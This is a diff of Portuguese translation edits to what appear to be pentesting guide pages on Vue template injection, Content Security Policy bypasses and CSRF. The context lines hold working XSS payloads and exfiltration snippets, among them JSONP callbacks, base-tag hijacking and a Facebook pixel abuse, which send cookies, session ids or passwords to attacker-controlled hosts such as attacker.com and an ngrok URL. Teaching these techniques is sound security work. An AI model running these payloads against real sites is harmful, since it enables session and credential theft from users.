+E o **código fonte** do exemplo vulnerável aqui: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
 ```markup
 <!-- Google Research - Vue.js-->
 "><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
@@ -41,7 +41,7 @@ Um post realmente bom sobre CSTI em VUE pode ser encontrado em [https://portswig
 ```
 {{_openBlock.constructor('alert(1)')()}}
 ```
-Créditos: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
+Crédito: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
 
 ### **V2**
 ```
@@ -49,7 +49,7 @@ Créditos: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/re
 ```
 Crédito: [Mario Heiderich](https://twitter.com/cure53berlin)
 
-**Verifique mais payloads VUE em** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
+**Confira mais payloads VUE em** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
 
 ## Mavo
 

src/pentesting-web/content-security-policy-csp-bypass/README.md

@@ -4,7 +4,7 @@
 
 ## O que é CSP
 
-Content Security Policy (CSP) é reconhecido como uma tecnologia de navegador, principalmente destinada a **proteger contra ataques como cross-site scripting (XSS)**. Funciona definindo e detalhando caminhos e fontes de onde os recursos podem ser carregados de forma segura pelo navegador. Esses recursos abrangem uma variedade de elementos, como imagens, frames e JavaScript. Por exemplo, uma política pode permitir o carregamento e a execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código em string através de funções como `eval`, `setTimeout` ou `setInterval`.
+Content Security Policy (CSP) é reconhecido como uma tecnologia de navegador, principalmente voltada para **proteger contra ataques como cross-site scripting (XSS)**. Funciona definindo e detalhando caminhos e fontes a partir dos quais recursos podem ser carregados de forma segura pelo navegador. Esses recursos abrangem uma variedade de elementos, como imagens, frames e JavaScript. Por exemplo, uma política pode permitir o carregamento e a execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código em string através de funções como `eval`, `setTimeout` ou `setInterval`.
 
 A implementação do CSP é realizada através de **cabeçalhos de resposta** ou incorporando **elementos meta na página HTML**. Seguindo essa política, os navegadores aplicam proativamente essas estipulações e bloqueiam imediatamente quaisquer violações detectadas.
 
@@ -159,15 +159,15 @@ Carga útil funcional:
 ```markup
 "/>'><script src="/uploads/picture.png.js"></script>
 ```
-No entanto, é altamente provável que o servidor esteja **validando o arquivo enviado** e só permitirá que você **envie um tipo determinado de arquivos**.
+No entanto, é altamente provável que o servidor **valide o arquivo enviado** e só permita que você **envie determinados tipos de arquivos**.
 
-Além disso, mesmo que você conseguisse enviar um **código JS dentro** de um arquivo usando uma extensão aceita pelo servidor (como: _script.png_), isso não seria suficiente porque alguns servidores, como o servidor Apache, **selecionam o tipo MIME do arquivo com base na extensão** e navegadores como o Chrome **rejeitam executar código Javascript** dentro de algo que deveria ser uma imagem. "Felizmente", há erros. Por exemplo, em um CTF, aprendi que **o Apache não conhece** a extensão _**.wave**_, portanto, não a serve com um **tipo MIME como audio/\***.
+Além disso, mesmo que você conseguisse enviar um **código JS dentro** de um arquivo usando uma extensão aceita pelo servidor (como: _script.png_), isso não seria suficiente porque alguns servidores, como o servidor Apache, **selecionam o tipo MIME do arquivo com base na extensão** e navegadores como o Chrome **rejeitam executar código Javascript** dentro de algo que deveria ser uma imagem. "Felizmente", existem erros. Por exemplo, em um CTF, aprendi que **o Apache não conhece** a extensão _**.wave**_, portanto, não a serve com um **tipo MIME como audio/\***.
 
 A partir daqui, se você encontrar um XSS e um upload de arquivo, e conseguir encontrar uma **extensão mal interpretada**, você poderia tentar enviar um arquivo com essa extensão e o conteúdo do script. Ou, se o servidor estiver verificando o formato correto do arquivo enviado, crie um poliglota ([alguns exemplos de poliglota aqui](https://github.com/Polydet/polyglot-database)).
 
 ### Form-action
 
-Se não for possível injetar JS, você ainda pode tentar exfiltrar, por exemplo, credenciais **injetando uma ação de formulário** (e talvez esperando que gerenciadores de senhas preencham automaticamente as senhas). Você pode encontrar um [**exemplo neste relatório**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Além disso, observe que `default-src` não cobre ações de formulário.
+Se não for possível injetar JS, você ainda poderia tentar exfiltrar, por exemplo, credenciais **injetando uma ação de formulário** (e talvez esperando que gerenciadores de senhas preencham automaticamente as senhas). Você pode encontrar um [**exemplo neste relatório**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Além disso, observe que `default-src` não cobre ações de formulário.
 
 ### Endpoints de Terceiros + ('unsafe-eval')
 
@@ -197,7 +197,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
 <img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
 >
 ```
-#### Payloads usando Angular + uma biblioteca com funções que retornam o objeto `window` ([veja este post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
+#### Payloads usando Angular + uma biblioteca com funções que retornam o objeto `window` ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
 
 > [!NOTE]
 > O post mostra que você poderia **carregar** todas as **bibliotecas** de `cdn.cloudflare.com` (ou qualquer outro repositório de bibliotecas JS permitido), executar todas as funções adicionadas de cada biblioteca e verificar **quais funções de quais bibliotecas retornam o objeto `window`**.
@@ -274,7 +274,7 @@ Abusando \*.google.com/script.google.com
 ```http
 Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
 ```
-Cenários como este, onde `script-src` está definido como `self` e um domínio específico que está na lista branca pode ser contornado usando JSONP. Os endpoints JSONP permitem métodos de callback inseguros que permitem a um atacante realizar XSS, carga útil em funcionamento:
+Cenários como este, onde `script-src` está definido como `self` e um domínio específico que está na lista de permissões pode ser contornado usando JSONP. Endpoints JSONP permitem métodos de callback inseguros que permitem a um atacante realizar XSS, payload funcional:
 ```markup
 "><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
 "><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@@ -286,22 +286,22 @@ https://www.youtube.com/oembed?callback=alert;
 ```
 [**JSONBee**](https://github.com/zigoo0/JSONBee) **contém endpoints JSONP prontos para usar para contornar o CSP de diferentes sites.**
 
-A mesma vulnerabilidade ocorrerá se o **endpoint confiável contiver um Redirecionamento Aberto** porque, se o endpoint inicial for confiável, os redirecionamentos são confiáveis.
+A mesma vulnerabilidade ocorrerá se o **endpoint confiável contiver um Open Redirect** porque, se o endpoint inicial for confiável, os redirecionamentos são confiáveis.
 
 ### Abusos de Terceiros
 
 Como descrito no [seguinte post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), existem muitos domínios de terceiros que podem ser permitidos em algum lugar no CSP, e podem ser abusados para exfiltrar dados ou executar código JavaScript. Alguns desses terceiros são:
 
-| Entidade            | Domínio Permitido                           | Capacidades |
-| ------------------- | ------------------------------------------- | ------------ |
-| Facebook            | www.facebook.com, \*.facebook.com           | Exfil        |
-| Hotjar              | \*.hotjar.com, ask.hotjar.io                | Exfil        |
-| Jsdelivr            | \*.jsdelivr.com, cdn.jsdelivr.net           | Exec         |
-| Amazon CloudFront   | \*.cloudfront.net                           | Exfil, Exec  |
-| Amazon AWS          | \*.amazonaws.com                            | Exfil, Exec  |
-| Azure Websites      | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec  |
-| Salesforce Heroku   | \*.herokuapp.com                            | Exfil, Exec  |
-| Google Firebase     | \*.firebaseapp.com                          | Exfil, Exec  |
+| Entidade          | Domínio Permitido                           | Capacidades  |
+| ----------------- | ------------------------------------------- | ------------ |
+| Facebook          | www.facebook.com, \*.facebook.com           | Exfil        |
+| Hotjar            | \*.hotjar.com, ask.hotjar.io                | Exfil        |
+| Jsdelivr          | \*.jsdelivr.com, cdn.jsdelivr.net           | Exec         |
+| Amazon CloudFront | \*.cloudfront.net                           | Exfil, Exec  |
+| Amazon AWS        | \*.amazonaws.com                            | Exfil, Exec  |
+| Azure Websites    | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec  |
+| Salesforce Heroku | \*.herokuapp.com                            | Exfil, Exec  |
+| Google Firebase   | \*.firebaseapp.com                          | Exfil, Exec  |
 
 Se você encontrar algum dos domínios permitidos no CSP do seu alvo, há chances de que você possa contornar o CSP registrando-se no serviço de terceiros e, ou exfiltrando dados para esse serviço ou executando código.
 
@@ -318,18 +318,18 @@ Você deve ser capaz de exfiltrar dados, da mesma forma que sempre foi feito com
 1. Crie uma conta de desenvolvedor do Facebook aqui.
 2. Crie um novo aplicativo "Facebook Login" e selecione "Website".
 3. Vá para "Configurações -> Básico" e obtenha seu "App ID".
-4. No site alvo de onde você deseja exfiltrar dados, você pode exfiltrar dados usando diretamente o gadget "fbq" do Facebook através de um "customEvent" e o payload de dados.
+4. No site alvo de onde você deseja exfiltrar dados, você pode exfiltrar dados usando diretamente o gadget "fbq" do SDK do Facebook através de um "customEvent" e o payload de dados.
 5. Vá para o "Gerenciador de Eventos" do seu aplicativo e selecione o aplicativo que você criou (note que o gerenciador de eventos pode ser encontrado em uma URL semelhante a esta: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
 6. Selecione a aba "Test Events" para ver os eventos sendo enviados pelo "seu" site.
 
-Então, do lado da vítima, você executa o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para o app-id da conta de desenvolvedor do Facebook do atacante e emitir um evento personalizado como este:
+Então, do lado da vítima, você executa o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para o app-id da conta de desenvolvedor do Facebook do atacante e emitir um evento personalizado assim:
 ```JavaScript
 fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
 fbq('trackCustom', 'My-Custom-Event',{​
 data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
 });
 ```
-Quanto aos outros sete domínios de terceiros especificados na tabela anterior, existem muitas outras maneiras de abusar deles. Consulte o [post do blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) anterior para explicações adicionais sobre outros abusos de terceiros.
+Quanto aos outros sete domínios de terceiros especificados na tabela anterior, existem muitas outras maneiras de abusar deles. Consulte o [post do blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) mencionado anteriormente para explicações adicionais sobre outros abusos de terceiros.
 
 ### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
 
@@ -341,9 +341,9 @@ Por exemplo, se o CSP permitir o caminho `https://example.com/scripts/react/`, e
 ```
 O navegador, em última análise, carregará `https://example.com/scripts/angular/angular.js`.
 
-Isso funciona porque, para o navegador, você está carregando um arquivo chamado `..%2fangular%2fangular.js` localizado em `https://example.com/scripts/react/`, que está em conformidade com CSP.
+Isso funciona porque, para o navegador, você está carregando um arquivo chamado `..%2fangular%2fangular.js` localizado em `https://example.com/scripts/react/`, que está em conformidade com o CSP.
 
-∑, eles o decodificarão, efetivamente solicitando `https://example.com/scripts/react/../angular/angular.js`, que é equivalente a `https://example.com/scripts/angular/angular.js`.
+∑, eles irão decodificá-lo, efetivamente solicitando `https://example.com/scripts/react/../angular/angular.js`, que é equivalente a `https://example.com/scripts/angular/angular.js`.
 
 Ao **explorar essa inconsistência na interpretação de URL entre o navegador e o servidor, as regras de caminho podem ser contornadas**.
 
@@ -359,16 +359,16 @@ Exemplo Online:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.
 
 ### falta de **base-uri**
 
-Se a diretiva **base-uri** estiver ausente, você pode abusar disso para realizar uma [**injeção de marcação pendente**](../dangling-markup-html-scriptless-injection/).
+Se a diretiva **base-uri** estiver ausente, você pode abusar disso para realizar uma [**injeção de marcação pendente**](../dangling-markup-html-scriptless-injection/index.html).
 
-Além disso, se a **página estiver carregando um script usando um caminho relativo** (como `<script src="/js/app.js">`) usando um **Nonce**, você pode abusar da **tag** **base** para fazer com que ela **carregue** o script do **seu próprio servidor, alcançando um XSS.**\
+Além disso, se a **página estiver carregando um script usando um caminho relativo** (como `<script src="/js/app.js">`) usando um **Nonce**, você pode abusar da **tag base** para fazer com que ela **carregue** o script do **seu próprio servidor, alcançando um XSS.**\
 Se a página vulnerável for carregada com **httpS**, use uma URL httpS na base.
 ```html
 <base href="https://www.attacker.com/" />
 ```
-### Eventos AngularJS
+### AngularJS events
 
-Uma política específica conhecida como Content Security Policy (CSP) pode restringir eventos JavaScript. No entanto, o AngularJS introduz eventos personalizados como uma alternativa. Dentro de um evento, o AngularJS fornece um objeto único `$event`, que referencia o objeto de evento nativo do navegador. Este objeto `$event` pode ser explorado para contornar o CSP. Notavelmente, no Chrome, o objeto `$event/event` possui um atributo `path`, que contém um array de objetos implicados na cadeia de execução do evento, com o objeto `window` invariavelmente posicionado no final. Esta estrutura é fundamental para táticas de escape de sandbox.
+Uma política específica conhecida como Content Security Policy (CSP) pode restringir eventos JavaScript. No entanto, o AngularJS introduz eventos personalizados como uma alternativa. Dentro de um evento, o AngularJS fornece um objeto único `$event`, que referencia o objeto de evento nativo do navegador. Este objeto `$event` pode ser explorado para contornar a CSP. Notavelmente, no Chrome, o objeto `$event/event` possui um atributo `path`, que contém um array de objetos implicados na cadeia de execução do evento, com o objeto `window` invariavelmente posicionado no final. Esta estrutura é fundamental para táticas de escape de sandbox.
 
 Ao direcionar este array para o filtro `orderBy`, é possível iterar sobre ele, aproveitando o elemento terminal (o objeto `window`) para acionar uma função global como `alert()`. O trecho de código demonstrado abaixo elucida este processo:
 ```xml
@@ -383,7 +383,7 @@ Este trecho destaca o uso da diretiva `ng-focus` para acionar o evento, empregan
 ```
 Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
 ```
-Uma política CSP que permite domínios para carregamento de scripts em uma aplicação Angular JS pode ser contornada através da invocação de funções de callback e certas classes vulneráveis. Mais informações sobre essa técnica podem ser encontradas em um guia detalhado disponível neste [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
+Uma política CSP que permite domínios para carregamento de scripts em uma aplicação Angular JS pode ser contornada através da invocação de funções de callback e certas classes vulneráveis. Mais informações sobre esta técnica podem ser encontradas em um guia detalhado disponível neste [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
 
 Payloads funcionais:
 ```html
@@ -399,7 +399,7 @@ Outros endpoints de execução arbitrária JSONP podem ser encontrados em [**aqu
 
 O que acontece quando o CSP encontra redirecionamento do lado do servidor? Se o redirecionamento levar a uma origem diferente que não é permitida, ainda assim falhará.
 
-No entanto, de acordo com a descrição em [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), se o redirecionamento levar a um caminho diferente, ele pode contornar as restrições originais.
+No entanto, de acordo com a descrição em [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), se o redirecionamento levar a um caminho diferente, pode contornar as restrições originais.
 
 Aqui está um exemplo:
 ```html
@@ -419,7 +419,7 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
 </body>
 </html>
 ```
-Se o CSP estiver definido como `https://www.google.com/a/b/c/d`, como o caminho é considerado, tanto os scripts `/test` quanto `/a/test` serão bloqueados pelo CSP.
+Se o CSP estiver definido como `https://www.google.com/a/b/c/d`, uma vez que o caminho é considerado, tanto os scripts `/test` quanto `/a/test` serão bloqueados pelo CSP.
 
 No entanto, o `http://localhost:5555/301` final será **redirecionado no lado do servidor para `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Como é um redirecionamento, o **caminho não é considerado**, e o **script pode ser carregado**, assim contornando a restrição de caminho.
 
@@ -429,7 +429,7 @@ Portanto, a melhor solução é garantir que o site não tenha vulnerabilidades
 
 ### Contornar CSP com marcação pendente
 
-Leia [como aqui](../dangling-markup-html-scriptless-injection/).
+Leia [como aqui](../dangling-markup-html-scriptless-injection/index.html).
 
 ### 'unsafe-inline'; img-src \*; via XSS
 ```
@@ -472,15 +472,15 @@ Você pode encontrar um exemplo aqui: [http://portswigger-labs.net/edge_csp_inje
 
 #### Edge
 
-No Edge é muito mais simples. Se você puder adicionar no CSP apenas isto: **`;_`** **Edge** irá **descartar** toda a **política**.\
+No Edge é muito mais simples. Se você puder adicionar no CSP apenas isso: **`;_`** **Edge** irá **descartar** toda a **política**.\
 Exemplo: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
 
 ### img-src \*; via XSS (iframe) - Ataque de tempo
 
 Note a falta da diretiva `'unsafe-inline'`\
-Desta vez você pode fazer a vítima **carregar** uma página sob **seu controle** via **XSS** com um `<iframe`. Desta vez você vai fazer a vítima acessar a página de onde você quer extrair informações (**CSRF**). Você não pode acessar o conteúdo da página, mas se de alguma forma você puder **controlar o tempo que a página precisa para carregar**, você pode extrair as informações que precisa.
+Desta vez você pode fazer a vítima **carregar** uma página sob **seu controle** via **XSS** com um `<iframe`. Desta vez você vai fazer a vítima acessar a página de onde você quer extrair informações (**CSRF**). Você não pode acessar o conteúdo da página, mas se de alguma forma você puder **controlar o tempo que a página leva para carregar**, você pode extrair as informações que precisa.
 
-Desta vez uma **flag** será extraída, sempre que um **caractere for corretamente adivinhado** via SQLi a **resposta** leva **mais tempo** devido à função de sleep. Então, você poderá extrair a flag:
+Desta vez uma **flag** será extraída, sempre que um **caractere for corretamente adivinhado** via SQLi, a **resposta** leva **mais tempo** devido à função de sleep. Então, você poderá extrair a flag:
 ```html
 <!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
 <iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@@ -542,13 +542,13 @@ run()
 ```
 ### Via Bookmarklets
 
-Este ataque implicaria alguma engenharia social onde o atacante **convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador**. Este bookmarklet conteria **código javascript malicioso** que, ao ser arrastado e solto ou clicado, seria executado no contexto da janela web atual, **burlando o CSP e permitindo roubar informações sensíveis** como cookies ou tokens.
+Este ataque implicaria alguma engenharia social onde o atacante **convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador**. Este bookmarklet conteria **código javascript malicioso** que, ao ser arrastado e solto ou clicado, seria executado no contexto da janela web atual, **contornando o CSP e permitindo roubar informações sensíveis** como cookies ou tokens.
 
 Para mais informações [**ver o relatório original aqui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
 
-### Bypass de CSP restringindo o CSP
+### CSP bypass by restricting CSP
 
-Em [**este writeup de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), o CSP é burlado ao injetar dentro de um iframe permitido um CSP mais restritivo que não permitia carregar um arquivo JS específico que, então, via **poluição de protótipo** ou **dom clobbering** permitia **abusar de um script diferente para carregar um script arbitrário**.
+Em [**este writeup de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), o CSP é contornado ao injetar dentro de um iframe permitido um CSP mais restritivo que não permitia carregar um arquivo JS específico que, então, via **prototype pollution** ou **dom clobbering** permitia **abusar de um script diferente para carregar um script arbitrário**.
 
 Você pode **restringir um CSP de um Iframe** com o atributo **`csp`**:
 ```html
@@ -556,8 +556,8 @@ Você pode **restringir um CSP de um Iframe** com o atributo **`csp`**:
 src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
 csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
 ```
-Em [**este writeup de CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), foi possível, via **injeção de HTML**, **restringir** mais um **CSP**, de modo que um script prevenindo CSTI foi desativado e, portanto, a **vulnerabilidade se tornou explorável.**\
-O CSP pode ser tornado mais restritivo usando **tags meta HTML** e scripts inline podem ser desativados **removendo** a **entrada** permitindo seu **nonce** e **habilitando scripts inline específicos via sha**:
+Em [**este writeup de CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), foi possível, através de **injeção de HTML**, **restringir** mais um **CSP**, de modo que um script que impedia CSTI foi desativado e, portanto, a **vulnerabilidade se tornou explorável.**\
+O CSP pode ser tornado mais restritivo usando **tags meta HTML** e scripts inline podem ser desativados **removendo** a **entrada** que permite seu **nonce** e **habilitando scripts inline específicos via sha**:
 ```html
 <meta
 http-equiv="Content-Security-Policy"
@@ -566,11 +566,11 @@ content="script-src 'self'
 'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
 'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
 ```
-### JS exfiltração com Content-Security-Policy-Report-Only
+### JS exfiltration with Content-Security-Policy-Report-Only
 
-Se você conseguir fazer o servidor responder com o cabeçalho **`Content-Security-Policy-Report-Only`** com um **valor controlado por você** (talvez por causa de um CRLF), você poderia direcioná-lo para o seu servidor e se você **envolver** o **conteúdo JS** que deseja exfiltrar com **`<script>`** e como é altamente provável que `unsafe-inline` não seja permitido pelo CSP, isso irá **gerar um erro de CSP** e parte do script (contendo as informações sensíveis) será enviada para o servidor a partir de `Content-Security-Policy-Report-Only`.
+Se você conseguir fazer o servidor responder com o cabeçalho **`Content-Security-Policy-Report-Only`** com um **valor controlado por você** (talvez devido a um CRLF), você poderia direcioná-lo para o seu servidor e se você **envolver** o **conteúdo JS** que deseja exfiltrar com **`<script>`** e como é altamente provável que `unsafe-inline` não seja permitido pelo CSP, isso irá **gerar um erro de CSP** e parte do script (contendo as informações sensíveis) será enviada para o servidor a partir de `Content-Security-Policy-Report-Only`.
 
-Para um exemplo [**verifique este writeup de CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
+Para um exemplo [**ver este writeup de CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
 
 ### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
 ```javascript
@@ -627,16 +627,16 @@ SOME é uma técnica que abusa de um XSS (ou XSS altamente limitado) **em um end
 
 Além disso, **wordpress** tem um endpoint **JSONP** em `/wp-json/wp/v2/users/1?_jsonp=data` que irá **refletir** os **dados** enviados na saída (com a limitação de apenas letras, números e pontos).
 
-Um atacante pode abusar desse endpoint para **gerar um ataque SOME** contra o WordPress e **incorporá-lo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` note que esse **script** será **carregado** porque é **permitido por 'self'**. Além disso, e porque o WordPress está instalado, um atacante pode abusar do **ataque SOME** através do endpoint **callback** **vulnerável** que **bypassa o CSP** para dar mais privilégios a um usuário, instalar um novo plugin...\
+Um atacante pode abusar desse endpoint para **gerar um ataque SOME** contra o WordPress e **incorporá-lo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` note que esse **script** será **carregado** porque é **permitido por 'self'**. Além disso, e porque o WordPress está instalado, um atacante pode abusar do **ataque SOME** através do endpoint **vulnerável** **callback** que **bypassa o CSP** para dar mais privilégios a um usuário, instalar um novo plugin...\
 Para mais informações sobre como realizar esse ataque, consulte [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
 
-## Bypasses de Exfiltração CSP
+## CSP Exfiltration Bypasses
 
 Se houver um CSP rigoroso que não permite que você **interaja com servidores externos**, há algumas coisas que você sempre pode fazer para exfiltrar as informações.
 
-### Localização
+### Location
 
-Você pode apenas atualizar a localização para enviar ao servidor do atacante as informações secretas:
+Você poderia apenas atualizar a localização para enviar ao servidor do atacante as informações secretas:
 ```javascript
 var sessionid = document.cookie.split("=")[1] + "."
 document.location = "https://attacker.com/?" + sessionid
@@ -680,7 +680,7 @@ X-DNS-Prefetch-Control: off
 
 Em várias páginas, você pode ler que **WebRTC não verifica a política `connect-src`** do CSP.
 
-Na verdade, você pode _vazar_ informações usando uma _requisição DNS_. Confira este código:
+Na verdade, você pode _leak_ informações usando uma _solicitação DNS_. Confira este código:
 ```javascript
 ;(async () => {
 p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })

src/pentesting-web/csrf-cross-site-request-forgery.md

@@ -24,12 +24,12 @@ Você pode **capturar a requisição no Burp** e verificar as proteções CSRF e
 
 Várias contramedidas podem ser implementadas para proteger contra ataques CSRF:
 
-- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Este atributo impede que o navegador envie cookies junto com requisições de outros sites. [Mais sobre cookies SameSite](hacking-with-cookies/index.html#samesite).
-- [**Cross-origin resource sharing**](cors-bypass.md): A política CORS do site da vítima pode influenciar a viabilidade do ataque, especialmente se o ataque requerer a leitura da resposta do site da vítima. [Saiba mais sobre bypass CORS](cors-bypass.md).
+- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Este atributo impede que o navegador envie cookies junto com requisições de outros sites. [Mais sobre SameSite cookies](hacking-with-cookies/index.html#samesite).
+- [**Cross-origin resource sharing**](cors-bypass.md): A política CORS do site da vítima pode influenciar a viabilidade do ataque, especialmente se o ataque requerer a leitura da resposta do site da vítima. [Saiba mais sobre CORS bypass](cors-bypass.md).
 - **Verificação do Usuário**: Solicitar a senha do usuário ou resolver um captcha pode confirmar a intenção do usuário.
 - **Verificando Cabeçalhos Referrer ou Origin**: Validar esses cabeçalhos pode ajudar a garantir que as requisições estão vindo de fontes confiáveis. No entanto, a elaboração cuidadosa de URLs pode contornar verificações mal implementadas, como:
-  - Usando `http://mal.net?orig=http://example.com` (URL termina com a URL confiável)
-  - Usando `http://example.com.mal.net` (URL começa com a URL confiável)
+- Usar `http://mal.net?orig=http://example.com` (URL termina com a URL confiável)
+- Usar `http://example.com.mal.net` (URL começa com a URL confiável)
 - **Modificando Nomes de Parâmetros**: Alterar os nomes dos parâmetros em requisições POST ou GET pode ajudar a prevenir ataques automatizados.
 - **Tokens CSRF**: Incorporar um token CSRF único em cada sessão e exigir esse token em requisições subsequentes pode mitigar significativamente o risco de CSRF. A eficácia do token pode ser aumentada pela imposição de CORS.
 
@@ -39,7 +39,7 @@ Compreender e implementar essas defesas é crucial para manter a segurança e in
 
 ### De POST para GET
 
-Talvez o formulário que você deseja abusar esteja preparado para enviar uma **requisição POST com um token CSRF, mas** você deve **verificar** se um **GET** também é **válido** e se, ao enviar uma requisição GET, o **token CSRF ainda está sendo validado**.
+Talvez o formulário que você deseja abusar esteja preparado para enviar uma **requisição POST com um token CSRF, mas**, você deve **verificar** se um **GET** também é **válido** e se quando você envia uma requisição GET o **token CSRF ainda está sendo validado**.
 
 ### Falta de token
 
@@ -59,7 +59,7 @@ Essa vulnerabilidade permite que os atacantes façam requisições não autoriza
 
 ### Bypass de Método
 
-Se a requisição estiver usando um "**método**" **"estranho"**, verifique se a **funcionalidade** de **sobrescrita de método** está funcionando. Por exemplo, se estiver **usando um método PUT**, você pode tentar **usar um método POST** e **enviar**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
+Se a requisição estiver usando um "**método**" **"estranho"**, verifique se a **funcionalidade** de **substituição de método** está funcionando. Por exemplo, se estiver **usando um método PUT**, você pode tentar **usar um método POST** e **enviar**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
 
 Isso também pode funcionar enviando o **parâmetro \_method dentro de uma requisição POST** ou usando os **cabeçalhos**:
 
@@ -72,7 +72,7 @@ Isso também pode funcionar enviando o **parâmetro \_method dentro de uma requi
 Se a requisição estiver adicionando um **cabeçalho personalizado** com um **token** à requisição como **método de proteção CSRF**, então:
 
 - Teste a requisição sem o **Token Personalizado e também o cabeçalho.**
-- Teste a requisição com o **mesmo comprimento exato, mas um token diferente**.
+- Teste a requisição com o **mesmo comprimento exato, mas token diferente**.
 
 ### Token CSRF é verificado por um cookie
 
@@ -146,7 +146,7 @@ Ao tentar enviar dados JSON via uma requisição POST, usar `Content-Type: appli
 
 **Evitar o cabeçalho Referer**
 
-As aplicações podem validar o cabeçalho 'Referer' apenas quando ele está presente. Para evitar que um navegador envie esse cabeçalho, a seguinte tag meta HTML pode ser usada:
+Aplicações podem validar o cabeçalho 'Referer' apenas quando ele está presente. Para evitar que um navegador envie esse cabeçalho, a seguinte tag meta HTML pode ser usada:
 ```xml
 <meta name="referrer" content="never">
 ```
@@ -197,7 +197,7 @@ Portanto, se uma requisição GET estiver sendo limitada, você pode simplesment
 
 ### **Exfiltrando o Token CSRF**
 
